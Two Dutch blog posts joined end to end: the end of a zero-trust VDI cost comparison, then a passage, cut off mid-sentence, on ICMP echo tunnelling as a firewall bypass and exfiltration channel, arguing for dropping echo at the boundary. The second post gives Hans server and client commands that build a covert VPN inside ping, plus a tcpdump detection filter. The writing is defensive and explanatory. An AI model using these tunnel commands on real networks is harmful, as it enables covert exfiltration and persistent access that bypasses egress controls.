Er zijn twee helften aan dit. De OAuth-provider — Keycloak of Authentik, gefedereerd tegen je Active Directory (Samba 4 of Windows) — handelt identiteitsvalidatie en MFA af. Het bewijst dat de gebruiker is wie ze beweren te zijn, met dezelfde directory waaraan de VM\u0026rsquo;s domain-joined zijn. Cloudflare Access handelt alles daarna af: wat de geauthenticeerde gebruiker mag bereiken, via welk protocol, en hoe de sessie gerenderd wordt.\nCloudflare Access rendert de RDP-sessie rechtstreeks in de browser. Dit is geen download of een plugin — Cloudflares edge draait een headless RDP-client en streamt het resultaat als een canvas in het browsertabblad. De gebruiker ziet een Windows-desktop. De browser ziet HTTPS naar Cloudflare. De Windows-VM ziet een RDP-verbinding vanaf de cloudflared-tunnel.\nDe Access-applicatie is een self-hosted app die naar de RDP-ingress van de tunnel wijst. Het Access-beleid is waar de twee helften elkaar ontmoeten. De OAuth-provider heeft de identiteit al bevestigd en de MFA-uitdaging doorgegeven. Access neemt dat token en beslist wat ermee te doen — welke applicatie de gebruiker kan bereiken, of hun device posture slaagt, of hun locatie toegestaan is. De provider zegt wie. Access zegt wat.\nHet aanmaken van de tunnel, de ingress-regels, de LXC-configuratie, de Proxmox-firewallregels en het Access-beleid zelf staan allemaal in de volgende post — deze zet uiteen wat de stack is en waarom hij bestaat. De volgende bouwt hem.\nWat De Gebruiker Ziet Cloudflare Access bevat een App Launcher — een resourceportaal dat elke applicatie opsomt die de geauthenticeerde gebruiker mag bereiken. Nadat de gebruiker via de OAuth-provider inlogt, toont het portaal hun beschikbare desktops, interne web-apps, en alle andere getunnelde resources, allemaal op één plek. Eén URL, één login, en een tegel voor elk ding waartoe ze toegang hebben. Het is de landingspagina voor de hele stack, niet alleen RDP.\nDe gebruiker klikt op een desktoptegel, en krijgt een Windows-desktop in een browsertabblad. Geen client, geen plugin, geen download. Het werkt op welk apparaat ze ook al bezitten — een bedrijfslaptop, een persoonlijke machine, een Chromebook, een tablet. Dat is het punt. Het systeem is gebouwd voor bedrijven die mensen hun eigen spullen laten gebruiken.\nClipboard, audio en multi-monitor worden niet ondersteund via de browser-gerenderde sessie. Dat is per ontwerp, niet per ongeluk. Elk van die kanalen is een data-exfiltratiepad. Een clipboard dat de grens kruist verplaatst bestanden naar buiten. Audio-opname verplaatst gesprekken naar buiten. Multi-monitor met een lokale desktop naast de externe maakt drag-and-drop triviaal. Die kanalen afsnijden betekent dat een gebruiker binnen de desktop kan werken maar geen werk eruit kan trekken via een zijkanaal. Het Access-beleid beheert wie erin komt. De browserrendering beheert wat eruit komt.\nAls het bedrijf clipboard of audio nodig heeft voor een specifieke workflow, ondersteunt Cloudflare Access ook een native RDP-client via de tunnel — dezelfde tunnel, hetzelfde beleid, dezelfde identiteitscontrole. Het native pad geeft volledige RDP-features aan de gebruikers die ze nodig hebben en houdt het browserpad dichtgetimmerd voor iedereen anders. Twee toegangsmethoden, één beleidsengine, één tunnel.\nDe Kostenvergelijking Een concreet voorbeeld. Eén server, 42 GPU-versnelde desktops:\nEen 64-core CPU met hyperthreading geeft je 128 threads. Elke VM krijgt 8 vCPU\u0026rsquo;s — een echte desktoptoewijzing, geen thin client. 42 × 8 = 336 vCPU\u0026rsquo;s, wat ruim voorbij 128 threads op papier is. Maar dit is VDI. Kantoordesktops zijn de meeste tijd inactief. Een gebruiker die een document leest of een e-mail typt belast geen 8 cores. Oversubscription is hier geen risico, het is het ontwerp. Proxmox laat je meer vCPU\u0026rsquo;s toewijzen dan fysieke threads omdat de scheduler weet dat de meeste ervan slapen. De CPU is gedimensioneerd voor de piek, en de piek is een handvol gebruikers die tegelijk compileren of renderen, niet alle 42. Dit is geen kortere weg — de cloud-hyperscalers oversubscriben op dezelfde manier. Elke Azure-VM die je huurt deelt fysieke cores met andere tenants op dezelfde host. Het prestatiemodel is identiek. Het verschil is wie de host bezit. 12 GB RAM per VM is een solide kantoordesktop. 42 × 12 GB = 504 GB, plus 4 GB voor Proxmox zelf = 508 GB op papier. In de praktijk klapt KSM de identieke pagina\u0026rsquo;s over die 42 Windows-images samen, dus het benodigde fysieke RAM is substantieel minder — maar begroot 512 GB aan DIMM\u0026rsquo;s en laat KSM je de ruimte overhandigen. Drie dubbele Intel Arc Pro B60-kaarten in een bord als de Supermicro H13SSL-NT. Elke fysieke kaart presenteert twee GPU\u0026rsquo;s aan het OS, dus drie kaarten geven je 6 GPU\u0026rsquo;s. Elke GPU ondersteunt 7 SR-IOV-virtual-functions4. Dat zijn 42 GPU-versnelde desktops uit drie PCIe-slots. De B60 staat rond $599–799 per kaart. De B70 is de grotere optie tegen $949 lanceerprijs voor 32 GB en 4 virtual functions per GPU5 — minder zitplaatsen maar meer VRAM per zitplaats. Windows 365 Cloud PC voor 42 gebruikers2:\nZelfs zonder GPU zijn de getallen niet klein. De Basic-tier — 2 vCPU, 4 GB, 128 GB — is £26,90/gebruiker/maand. De Standard-tier — 2 vCPU, 8 GB, 128 GB, wat een bescheiden kantoordesktop is — is £35,60/gebruiker/maand. Voor 42 gebruikers op Standard is dat £1.495,20/maand, £17.942,40/jaar, vóór enige van de extra\u0026rsquo;s hieronder.\nMet een GPU wordt het erger. De GPU Standard-tier is £269,40/gebruiker/maand. Voor 42 gebruikers is dat £11.314,80/maand, £135.777,60/jaar.\nBeide tiers voegen dan toe:\nMicrosoft 365-licenties als je die nog niet hebt Azure-netwerken — ingress en egress worden apart gefactureerd, en een desktop die naar een browser streamt is niet licht op egress Azure Backup of een third-party backupoplossing — de VM-snapshots en profielopslag worden niet gratis geback-upt Publieke IPv4-adressen — Azure rekent voor elk publiek IP dat aan een resource hangt, en de prijs is alleen maar gestegen Azure\u0026rsquo;s onderliggende prijzen zijn in USD, dus GBP-kosten bewegen met de wisselkoers — een zwak pond maakt elke regelpost duurder en je hebt geen controle over beide kanten daarvan De rekening stopt nooit. Jaar vijf kost hetzelfde als jaar één. Deze stack voor 42 gebruikers — de bouwkosten:\nSupermicro H13SSL-NT-moederbord: ~£700 AMD EPYC 64-core-CPU: ~£1.500 512 GB DDR5 ECC RDIMM (8 × 64 GB): ~£5.200 Drie dubbele B60-kaarten: ~£1.800 Chassis, PSU, boot-SSD\u0026rsquo;s: ~£800 Totaal hardware: ruwweg £10.000 Geamortiseerd over een leven van vijf jaar is dat £2.000/jaar aan kapitaalkosten. Voeg toe:\nCloudflare Zero Trust: gratis voor tot 50 gebruikers Windows 11 Enterprise VDI-rechten — Software Assurance op Pro upgradet naar Enterprise, wat VDI-toegang omvat voor tot vier VM\u0026rsquo;s per gebruiker, of licentie via Microsoft 365 E3/E56 Elektriciteit — en hier is het de moeite waard een getal op te plakken Het vermogensbudget bij piekopname: een 64-core-EPYC op 360W TDP, drie dubbele B60-kaarten op 400W elk (1.200W), 512 GB RAM op ruwweg 80W, plus storage, ventilatoren en PSU-verliezen op rond 150W. Dat is ongeveer 1.800W aan de muur onder volle belasting. VDI-desktops zijn niet onder volle belasting — kantoorgebruik is meestal inactieve CPU en lichte GPU, dus een realistisch gemiddelde ligt dichter bij 1.000–1.200W. Noem het 1.100W.\nTegen 35p per kWh is 1,1 kW die 24/7 draait:\n1,1 × 24 × 365 = 9.636 kWh/jaar 9.636 × £0,35 = £3.373/jaar aan elektriciteit Dus de totale jaarlijkse kosten van deze stack zijn ruwweg £5.400/jaar — £2.000 aan geamortiseerde hardware en £3.400 aan elektriciteit, vóór Windows-licenties en internet. Zet dat naast de Azure-rekening: £5.400 tegen £135.778 voor de GPU-tier, of £17.942 voor basisdesktops zonder GPU. Zelfs op de goedkoopste Azure-tier kost deze stack minder dan een derde. Op de GPU-tier is het 4% van de Azure-rekening.\nWaarom VDI Bij Proxmox Past VDI is een van de workloads waar Proxmox stilletjes heel goed in is, om twee redenen die niks te maken hebben met de hypervisor zelf.\nKSM. Proxmox schakelt KSMd — de kernel same-page merging daemon — standaard in. Twintig Windows-VM\u0026rsquo;s gebouwd uit hetzelfde image delen enorme hoeveelheden identieke geheugenpagina\u0026rsquo;s: het OS, de basisbibliotheken, de onveranderde delen van het gebruikersprofiel. KSMd vindt die duplicaten en klapt ze samen tot een enkele fysieke pagina, copy-on-write. Het resultaat is dat twintig desktops passen in het geheugen dat je anders voor acht of tien nodig zou hebben. Op een VDI-host waar elke VM hetzelfde image draait, is KSM geen marginale optimalisatie. Het is wat de dichtheid betaalbaar maakt.\nbcache. Als je storage HDD-gebaseerde Ceph met Optane-bcache is, is VDI de beste-geval-workload ervoor. Boot storms en login storms zijn read-zwaar en repetitief — precies het patroon dat een cache absorbeert. Zodra de working set warm is, lezen de desktops van Optane op NVMe-latency en bewegen de spindels nauwelijks. De schrijfacties zijn gebruikersprofielwijzigingen en tijdelijke bestanden, die klein en sequentieel genoeg zijn dat bcache\u0026rsquo;s writeback ze afhandelt zonder ooit de HDD te bottlenecken.\nProfielen — twee opties, beide op Ceph. Gebruikersprofielen zijn de andere helft van VDI-storage, en er zijn twee schone manieren om ze af te handelen zonder het cluster te verlaten.\nFSLogix profile containers zijn de standaardmanier om een Windows-desktopprofiel te laten roamen, en ze werken op S3-compatibele object storage. Proxmox-Ceph legt een S3-gateway bloot via de RADOS Gateway, dus de profielopslag leeft op hetzelfde cluster als de VM-schijven. Geen aparte fileserver, geen Azure Files-rekening, geen externe afhankelijkheid.\nDe andere optie is FSLogix volledig overslaan en Windows folder redirection naar SMB-shares gebruiken, bediend door clustered Samba op CephFS. De desktops leiden Documents, Desktop, AppData en de rest om naar een Samba-share die door CephFS wordt ondersteund, en het Samba-cluster handelt failover af. Helemaal geen profile container — de bestanden leven op het filesystem als gewone bestanden, en CephFS handelt de replicatie af. Dit is eenvoudiger te beheren, eenvoudiger te back-uppen, en omzeilt FSLogix-licenties volledig — nuttig als de licentiekosten een probleem zijn of je gewoon minder bewegende delen wilt. Hoe dan ook zitten de profielen op je eigen storage, ondersteund door dezelfde Ceph-pool, en de kosten zijn de schijf die je al kocht.\nTussen KSM dat geheugen terugwint, bcache dat storage-latency terugwint en profielen die op Ceph landen — of dat nu via FSLogix op S3 of folder redirection op CephFS is — bedient een enkele Proxmox-host met HDD\u0026rsquo;s en een bescheiden hoeveelheid RAM meer desktops dan het specificatieblad suggereert. Azure rekent voor elke gigabyte van alle drie. Hier doet de infrastructuur het werk gratis.\nBackup, Veerkracht en Compliance Alles binnen VDI houden is niet alleen een kostenbeslissing. Het is een compliance- en veerkrachtbeslissing.\nWanneer de desktop op de server leeft, leeft de data op de server. Niets landt op het apparaat van de gebruiker. Een gestolen laptop is een verloren scherm, geen verloren dataset. Er is geen lokale schijf om te versleutelen, geen lokale kopie om te exfiltreren, geen endpoint om forensisch te imagen na een inbraak. De data verliet nooit de infrastructuur die je beheert.\nDat maakt backup rechttoe rechtaan. De VM-schijven en de profielopslag staan op Ceph, en Ceph-snapshots zijn atomisch en direct. Eén snapshotbeleid dekt elke desktop en elk profiel. Een desktop herstellen naar de toestand van gisteren is een snapshot-rollback, geen herbouw. Een profiel herstellen is dezelfde operatie op een andere pool. Het backup-doel is het cluster, geen twintig verspreide endpoints.\nHet vereenvoudigt ook compliance. Data residency is makkelijk te bewijzen wanneer de data op hardware staat die je bezit, in een rack dat je kunt aanwijzen, in een jurisdictie die je koos. Audit trails staan op je eigen logs. Toegang wordt gepoortd door Cloudflare-beleid dat je schreef, geauthenticeerd door een IdP die je draait, en vastgelegd door systemen die je beheert. Er is geen third-party cloudprovider tussen jou en het bewijs dat een auditor vraagt.\nVeerkracht volgt dezelfde lijn. Een dode desktop-VM is een nieuwe VM uit het golden image met het profiel opnieuw gekoppeld. De gebruiker logt weer in en de desktop is terug. Er is geen endpoint om te herbouwen, geen OS om opnieuw te imagen, geen hardware om te versturen. De hersteleenheid is de VM, en er een opspinnen kost minuten.\nWat Je Opgeeft Dit is niet in elke zin gratis. De dingen die Azure Virtual Desktop afhandelt die deze stack niet doet:\nMicrosoft beheert de patching en de updates. Hier doe jij dat. Intune en Endpoint Manager integreren native met AVD. Hier beheer je de Windows-VM\u0026rsquo;s zelf of via welke tooling je ook kiest. Azure\u0026rsquo;s netwerk is Azure\u0026rsquo;s probleem. Hier is je internetverbinding het pad naar de desktop. Als die uitvalt, zijn de desktops onbereikbaar tot hij terugkomt. Schalen is een creditcard weg op Azure. Hier betekent schalen een andere kaart of een andere host kopen. AVD geeft de gebruiker standaard een volledige RDP-featureset. Hier ontdoet het browser-gerenderde pad clipboard, audio en multi-monitor met opzet. Gebruikers die die features nodig hebben krijgen een native RDP-client via dezelfde tunnel en hetzelfde beleid — maar de standaard is de dichtgetimmerde browser, en dat is de juiste standaard voor een BYOD-personeelsbestand. Niets daarvan is triviaal. Of het ertoe doet hangt af van wat je hebt: als je al Proxmox draait, al Windows beheert, en al iemand hebt die een hypervisor kan verzorgen, dan zijn al die dingen dingen die je al doet. Zo niet, dan verkoopt Azure je het personeel dat je niet hebt, en dat is werkelijk iets waard.\nDe vraag is of het £18.000 per jaar waard is voor 42 basisdesktops — of £136.000 voor GPU-desktops — elk jaar, plus netwerken, backup, IPv4 en licenties erbovenop, met de prijs gezet door iemand anders, de hardware die aan iemand anders toebehoort, en de rekening gedenomineerd in een valuta die je niet beheert. Of dat je £5.400 per jaar uitgeeft aan hardware en elektriciteit en de rest houdt.\nDat is wat deze post uiteenzet. De volgende bouwt hem — de cloudflared-tunnel, de LXC, de Proxmox-firewallregels, het Cloudflare Access-beleid, en de werkende desktop in een browsertabblad.\nReferenties Azure Virtual Desktop pricing — compute, storage en netwerken apart gefactureerd bovenop de Microsoft 365-entitlement.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nWindows 365 plans and pricing — vast per gebruiker per maand, GPU-configuraties in de Enterprise-tier.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCloudflare Zero Trust pricing — gratis voor tot 50 gebruikers, pay-as-you-go vanaf gebruiker 51.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIntel Arc Pro B60 specifications — 24 GB GDDR6, 20 Xe2-cores, PCIe 5.0 x8, SR-IOV met tot 7 virtual functions.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIntel Arc Pro B70 specifications — 32 GB GDDR6, 32 Xe2-cores, PCIe 5.0 x16, SR-IOV met tot 4 virtual functions.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nWindows 11 Licensing for Virtual Desktops — Software Assurance op een kwalificerend OS (bijv. Pro) upgradet naar Enterprise, wat VDI-rechten verleent voor tot vier VM\u0026rsquo;s per gebruiker op je eigen on-premises server.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\n","permalink":"https://blogs.damiendye.uk/nl/networking/zero-trust-vdi-cloudflare-access/","summary":"Deel één: de architectuur en het kostenargument voor het vervangen van Azure Virtual Desktop door Proxmox, Intel Arc Pro SR-IOV en Cloudflare Access. On-prem OAuth voor identiteit, browser-gerenderde RDP, een gefirewallde LXC-tunnel op zijn eigen VLAN, KSM voor geheugendichtheid, en profielen op Ceph. De volgende post bouwt het.","title":"Zero-Trust-VDI Zonder De Cloudrekening — Proxmox, Intel Arc Pro en Cloudflare Access"},{"content":"Ping is geen diagnose. Het is een tunnel. Het echo van ICMP (het verzoek dat een machine stuurt en het antwoord dat het terugkrijgt) draagt elke byte die je erin stopt, in beide richtingen, over een protocol dat de meeste firewalls doorlaten zonder te kijken en de meeste logging telt in plaats van leest. Een netwerk dat “alleen ping toestaat” heeft al een volledige, versleutelbare VPN naar buiten, en iedereen die dat netwerk kan bereiken kan er een besturen.\nDit is oud, en het is gedocumenteerd. Loki1 publiceerde de techniek in Phrack 49 in 1996. Ptunnel2 draagt al twintig jaar hele TCP-sessies binnen ping en zit één pakket weg op elke Linux-bak. Geen zeroday. Het protocol dat zich precies gedraagt zoals het is voorgeschreven.\nDat is de oorzaak: de standaard, geen fout in iemands product. Elke host op aarde is verplicht de data in een echo-verzoek te nemen en die onveranderd terug te geven. Willekeurige data erin, dezelfde data eruit: dat is het hele wat een tunnel nodig heeft, en het is voorgeschreven sinds 1981.\nDe oplossing is één smalle wijziging. Gooi ICMP-echo weg, verzoek en antwoord, op IPv4 en IPv6, aan de grens, en houd elk ander ICMP-bericht. De fouten — Time Exceeded, Packet Too Big, Destination Unreachable — zijn dragend; blokkeer die en je maakt path MTU discovery en traceroute kapot voor niets. Dit is dus niet “blokkeer ICMP”. Het is het ene bericht weggooien dat een risico is, en de berichten houden die de waarheid dragen.\nWat je uitgaande beleid eigenlijk toestond Draai je een netwerk waar uitgaand verkeer wordt gefilterd (en zo niet, dan is dat een eigen gesprek), dan is dit de rekening voor één regel erin. Het beleid dat zegt “blokkeer alles uitgaand, sta ICMP toe want we moeten dingen kunnen pingen” is geen uitgaand beleid. Het is een volledige tunnel met het papierwerk onder diagnose gearchiveerd. Alles aan de binnenkant dat een echo-verzoek kan sturen en het antwoord kan lezen, kan data verplaatsen naar overal aan de buitenkant dat er een beantwoordt, op welk tempo de link ook aankan, en voorbij elke inhoudscontrole die je hebt gekocht. In de logs is het iemand die nakijkt of het internet werkt, en verder niets. Malware levert dit al jaren mee om precies die reden. Stil, standaard, en meestal al toegestaan.\nDaarom is het een eerstekeuskanaal voor iedereen die al binnen is en dat niet zou moeten zijn. Het is de huur, niet de smash-and-grab. Wie een blijvende weg in en uit wil, mijdt de poort die een alarm afgaat. Ze zetten een tunnel op echo op en laten hem maanden draaien. Een host die veel pingt is een host waar niemand naar kijkt. Tweewegverkeer de omgeving in: commando erin, data eruit, over het ene protocol dat niemand van een ratelimiet voorziet, alarmeert of leest. En het is versleuteld, zoals elk echt gereedschap het versleutelt, dus op de draad is de payload de willekeurig ogende bytes die een ping toch al draagt en heeft inhoudsinspectie niets te lezen. Grootte en timing kunnen het nog steeds verraden aan wie echt kijkt. In het pakket kijken kan dat niet.\nEn de machine die het bestuurt hoeft van niemand te zijn die daar werkt. Het enige dat nodig is, is iets dat je netwerk kan bereiken en een ping op het internet kan zetten, en je netwerk bereiken is makkelijker dan iemand graag toegeeft. De wifi draagt voorbij de muren, de gang in, de parkeerplaats, de flat erboven. De ethernetpoort in de muur van de vergaderruimte, of de receptie, of het lege bureau bij het raam, staat heel vaak aan en praat met alles wat je inprikt, zonder een 802.1X die vraagt wie je bent. Een signaal in bereik, of een stopcontact dat niemand heeft vergrendeld. Dat is het toegangsgeld. Geen badge, geen account, geen uitnodiging.\nStel je de bezoeker voor die je wel hebt uitgenodigd. Ze zijn in de vergadering, aangenaam, maken aantekeningen, dragen bij. Hun laptop niet. Op het moment dat die je netwerk bereikte, over de lucht of via de poort onder de tafel, zat hij binnen de muur, en kan dat netwerk een echo-verzoek uitstoten, dan heeft hij een weg naar buiten. Er is niets op je omgeving neergezet. Geen account, geen recht op iets wat je bezit, niets voor je endpointagents om te vangen, want je agents staan niet op hun machine. De persoon zit aan de overkant van de tafel. Het verkeer verlaat je voordeur, versleuteld, niet te onderscheiden van een laptop die meer pingt dan zou moeten.\nEen bezoeker in signaalbereik, of aan een open poort, krijgt een tunnel naar buiten door een firewall die alleen pings ziet Een bezoeker in bereik, of aan een open poort, krijgt een weg naar buiten binnen de muur — je netwerk Wifi bereikt de gang, parkeerplaats, flat erboven laptop van bezoeker geen badge, geen account een actieve muurpoort geen 802.1X die vraagt wie je bent grensfirewall ziet alleen pings server op het internet echo-verzoek\u0026#160;\u0026#8594; \u0026#8592;\u0026#160;echo-antwoord elk IP-verkeer, versleuteld, rijdend binnen de pings Het toegangsgeld is toegang tot het netwerk — een wifi-signaal in bereik, of een actieve muurpoort zonder 802.1X — en de uitgang is echo door de grens. Voor de firewall is het een host die pingt; binnen die pings zit elk IP-verkeer, versleuteld, op weg naar een server op het internet. De twee dingen waar je naar grijpt helpen niet. NAT is een vertaaltabel, geen filter: een echo-verzoek van een host binnen opent een koppeling op de ICMP-id, die NAT precies zo behandelt als een poort, en het antwoord komt er net als elke andere stroom door terug. Ik draaide een client achter mijn eigen NAT thuis en die merkte nooit dat de NAT er was. Een apart gast-VLAN is niet beter. Scheiding houdt de bezoeker van je servers, maar het doet niets om ze van het internet te houden, en het internet, bereikt met een ping, is de hele vereiste. Eén controle raakt dit: laat dat netwerk echo naar buiten?\nJe inspecteert dit niet weg, en je scheidt het niet weg. Je sluit de deur. Alles hierna is waarom de standaard hem open laat, drie manieren om de tunnel te bouwen zodat de bewering op meer dan mijn woord rust, en de ene wijziging die hem sluit.\nHet deel van ICMP dat je niets nuttigs verschuldigd is Begin met wat de standaard echt zegt, want het hele argument rust op één zin en mensen wuiven die weg zonder te lezen.\nEen echo-verzoek draagt een dataveld. In IPv4 zegt RFC 7923 onomwonden dat “the data received in the echo message must be returned in the echo reply message”. IPv6 heeft de bewoording aangescherpt in plaats van versoepeld: RFC 44434 definieert het veld als “zero or more octets of arbitrary data” en eist dan dat het “MUST be returned entirely and unmodified in the ICMPv6 Echo Reply message”.\nLees dat als operator en het is een keepalive. Lees het als iemand die data verplaatst en het is een cadeau. De standaard verplicht elke bereikbare host een blok bytes dat jij kiest aan te nemen en ze onveranderd, op verzoek, direct terug te sturen. Willekeurige lengte. Willekeurige inhoud. Geen handshake, geen poort, geen applicatie aan de overkant die ergens mee akkoord hoeft te gaan. De kernel doet het, voordat een proces in userland iets ziet.\nEn het is beide families. Naar IPv6 overstappen ruimt dit niet op. Het opent het wijder. RFC 792 zei dat de data “must be returned”; RFC 4443 zegt dat het “MUST be returned entirely and unmodified”, en dat is dezelfde deur met een steviger slot dat hem openhoudt. Het kanaal bestaat dan ook zowel op ICMP-echo als op ICMPv6-echo, en een regel die het op de ene familie sluit en op de andere niet, heeft niets gesloten. De tunnel verhuist gewoon naar de familie die je open liet. Wat je hier ook aan doet, doe het op ip en ip6 samen.\nNiets anders in het protocol doet dit. Een Time Exceeded draagt de header van het pakket dat stierf en niet meer. Een Destination Unreachable is een verslag over iets dat al is gebeurd. Die berichten vertellen je feiten over het netwerk. Echo draagt wat je erin stopt, in beide richtingen, en noemt het een diagnose.\nFouten zijn dragend. Echo niet. Dit is het onderscheid dat de “blokkeer gewoon ICMP”-menigte nooit maakt, en het is het hele punt, dus ik maak het één keer en goed.\nICMP-fouten blokkeren maakt het netwerk stil kapot. Filter Packet Too Big en je doodt path MTU discovery: de handshake rondt af, kleine overdrachten werken, en alles dat een pakket van volle grootte draagt hangt voor eeuwig met niets in de logs. Op IPv6 is dat niet eens een kwestie van smaak. Routers fragmenteren niet, dus RFC 48905 noemt Packet Too Big onder de berichten die een firewall “must not drop” en waarschuwt dat zonder dat “parts of the Internet will become inaccessible”. Filter Time Exceeded en je maakt traceroute kapot, dat RFC 18126 noemt als de reden dat het bericht überhaupt verplicht is. Die zijn niet optioneel. Ze zijn de terugkoppeling die het netwerk zelfcorrigerend maakt, en ik heb de kosten van ze kwijtraken vorige keer uitgebreid behandeld.\nGooi nu echo weg en ga zoeken naar wat er brak. ping over de grens werkt niet meer. Dat is de lijst. De hele lijst.\nPath MTU discovery kan het niet schelen, want dat loopt op Packet Too Big, wat een fout is. Traceroute kan het niet schelen, want traceroute -T en -U lopen TCP en UDP af en lezen de fouten die terugkomen. Geen ervan stuurt een echo. Neighbour discovery op IPv6 kan het niet schelen, want dat zijn de types 133 tot 137, en die houd je of het segment sterft. De omgekeerde-TTL-truc uit het vorige bericht werkt op elk antwoord, en een TCP-handshake geeft je er een. Alles wat de diagnoses uit het vorige bericht liet werken blijft werken, want geen enkele meting daarin stuurde een echo-verzoek.\nDe twee helften van het protocol konden dus minder op elkaar lijken. De ene helft is het netwerk dat je de waarheid over zichzelf vertelt, en die maak je op eigen risico kapot. De andere helft is een voorgeschreven dienst die je payload teruggeeft en toevallig een diagnose heet, en het sterkste dat iemand voor openhouden kan zeggen is dat ping handig is. Het is handig. Het is ook het enige deel van ICMP dat een aanvaller kan besturen, en ik kan je precies laten zien waarmee ze het besturen.\nHoud de ICMP-fouten, met ratelimiet; gooi alleen echo weg, beide richtingen en beide families Twee helften van één protocol, en maar een ervan is een risico HOUD ratelimiet, nooit blokkeren Destination Unreachable draagt waarom een pakket niet bezorgd kon worden Packet Too Big path MTU discovery hangt eraan Time Exceeded traceroute hangt eraan Parameter Problem meldt een misvormde header Neighbour Discovery 133\u0026#8211;137 IPv6: het lokale segment hangt eraan Maak deze kapot en het netwerk gaat stil kapot. GOOI WEG beide richtingen, beide families Echo request type 8 (IPv4) · type 128 (IPv6) Echo reply type 0 (IPv4) · type 129 (IPv6) Niets heeft deze nodig behalve het ping commando. Alles wat een aanvaller door ICMP stuurt loopt hierlangs. Een tunnel die op één familie open blijft is niet gesloten. De ICMP-fouten zijn dragend: path MTU discovery, traceroute en IPv6-neighbour-discovery hangen er allemaal aan, en ze blokkeren maakt het netwerk stil kapot. Echo is het enige deel waar niets van afhangt behalve ping, en het enige deel dat een aanvaller kan besturen. Gooi dat weg, houd de rest, op beide families. Het bewijs: een VPN gemaakt van ping Het gereedschap is Hans7, geschreven door Friedrich Schöller. De eigen beschrijving is één regel: het “makes it possible to tunnel IPv4 through ICMP echo packets, so you could call it a ping tunnel.” Het brengt aan elk einde een tun-interface op, geeft ze adressen, en verplaatst elk pakket ertussen binnen ICMP-echo. Voor het netwerk in het midden is het iemand die een server pingt en de server die antwoordt. Voor mij is het een route.\nEen heel IP-pakket reist binnen het dataveld van één ping Een heel pakket rijdt binnen één ping Het pakket dat je SSH-sessie stuurt IP-header src / dst TCP-header poort 22 applicatiedata je toetsaanslagen, je bestand Hans kopieert het hele pakket in het echo-dataveld Het pakket dat op de draad vertrekt IP-header jij naar server ICMP-echo-verzoek type 8 · id · seq echo-dataveld het hele pakket hierboven, onveranderd Voor de grensfirewall is dit één echo-verzoek, en het log noteert een ping. Binnen het dataveld zit een pakket op weg naar overal wat de overkant kan bereiken. De standaard eist dat de overkant die data direct terugstuurt, dus het antwoord is ook een pakket. Elk pakket dat de tunnel draagt wordt in het dataveld van een ICMP-echo-verzoek gekopieerd. De standaard verplicht de overkant die data onveranderd terug te geven, dus het antwoord draagt ook een pakket. De firewall telt een ping; de payload gaat overal waar de overkant kan routeren. Ik draaide het over mijn eigen lijn, een server op een publiek adres en een client achter mijn NAT thuis, en duwde er echt verkeer doorheen. Geen synthetische pings met een vlag gezet. Een SSH-aanmelding en een bestandsdownload, rijdend binnen echo.\nHet zit één pakket weg waar ik de server draaide, en het bouwt overal elders uit de broncode van Schöller. De server moet Linux zijn en heeft root nodig, want een tun-apparaat openen en een ruwe ICMP-socket doen dat allebei. De syntaxis is met opzet klein:\n# on the server (public IP), pick the tunnel network and a password hans -s 10.8.0.0 -p \u0026#39;\u0026lt;password\u0026gt;\u0026#39; # server takes 10.8.0.1; clients are handed 10.8.0.2 and up # on the client, point it at the server\u0026#39;s public address hans -c \u0026lt;server-public-ip\u0026gt; -p \u0026#39;\u0026lt;password\u0026gt;\u0026#39; Zodra beide einden op zijn, is er aan elke kant een nieuwe interface met een adres op het tunnelnetwerk, en hij gedraagt zich als elke andere punt-tot-puntlink:\nNiets aan die sessie weet dat het binnen ping zit. SSH opent een TCP-verbinding naar 10.8.0.1, de kernel routeert die naar buiten via tun0, Hans verpakt elk pakket als de payload van een echo-verzoek, en de overkant pakt het uit en voert het aan zijn eigen tun0. Het antwoord komt terug als de payload van een echo-antwoord. Voor zover SSH weet praat het over een gewone link. Voor zover de firewall weet, opende niemand iets. Een host wordt gepingd.\nHoe het eruitziet op de draad Dit is het deel dat het argument beëindigt, dus kijk naar de firewall-blik in plaats van de mijne.\nWat er echt gebeurt, en wat de firewall logt, zijn niet hetzelfde plaatje Eén tunnel, twee plaatjes Wat er echt gebeurt je host tun0 · 10.8.0.2 de server tun0 · 10.8.0.1 overal wat hij kan bereiken SSH, bestandsdownloads naar buiten gerouteerd elk IP-verkeer, door de tunnel als gewone pakketten Wat de grensfirewall ziet en logt je host 198.51.100.9 de server 192.0.2.7 echo-verzoek echo-antwoord icmp echo request 198.51.100.9 \u0026gt; 192.0.2.7 icmp echo reply 192.0.2.7 \u0026gt; 198.51.100.9 icmp echo request 198.51.100.9 \u0026gt; 192.0.2.7 ... geteld als pings, inhoud ongelezen Dezelfde draad. De firewall ziet de pakketten erin nooit. De tunnel verplaatst echt verkeer tussen twee hosts en dan naar buiten naar overal wat de server kan bereiken. Aan de grens is het alleen echo-verzoek en echo-antwoord — de firewall logt pings en ziet nooit de pakketten die erin worden gedragen. Ga op de buiteninterface zitten met tcpdump en vang alleen ICMP terwijl de SSH-sessie loopt. Geen TCP naar poort 22 steekt de grens over. Wat oversteekt is echo-verzoek en echo-antwoord, heen en weer, elk dikker dan een echte ping omdat het een plak van een TCP-segment in zijn payload draagt:\n# on the boundary, watch only ICMP echo while traffic runs over the tunnel tcpdump -ni \u0026lt;wan-iface\u0026gt; \u0026#39;icmp[icmptype] = icmp-echo or icmp[icmptype] = icmp-echoreply\u0026#39; Lees de twee dingen die ertoe doen in die opname. Eerst de payloadlengtes: een normale ping stuurt 56 bytes en elke regel is even groot, terwijl deze variëren en groot uitvallen, omdat de grootte van het ding dat je verplaatst lekt in de grootte van de ping. Ten tweede het tempo: een diagnose-ping is er een per seconde, en dit is een stortvloed, want het verplaatst een bestand. Geen van beide is verborgen. Beide zitten in het volle zicht op een protocol waar niemand naar kijkt.\nEn dat is het hele punt. Niet dat dit slim is, of moeilijk te zien zodra je kijkt. Bijna niemand kijkt, want de bak is ingesteld om ICMP toe te staan, de logs tellen het als pings, en het alarmeren was afgesteld op de poorten die iemand zich herinnerde te vrezen. Het verkeer vertrekt eruitziend als een gezondheidscontrole en de gezondheidscontrole is een route naar overal wat de server kan bereiken.\nEen echte volledige-tunnel-VPN, met de hand gebouwd Hans bewijst dat het kanaal er is, maar het doet de interface en de adressering voor je en geeft een route terug, dus het laat je niet helemaal 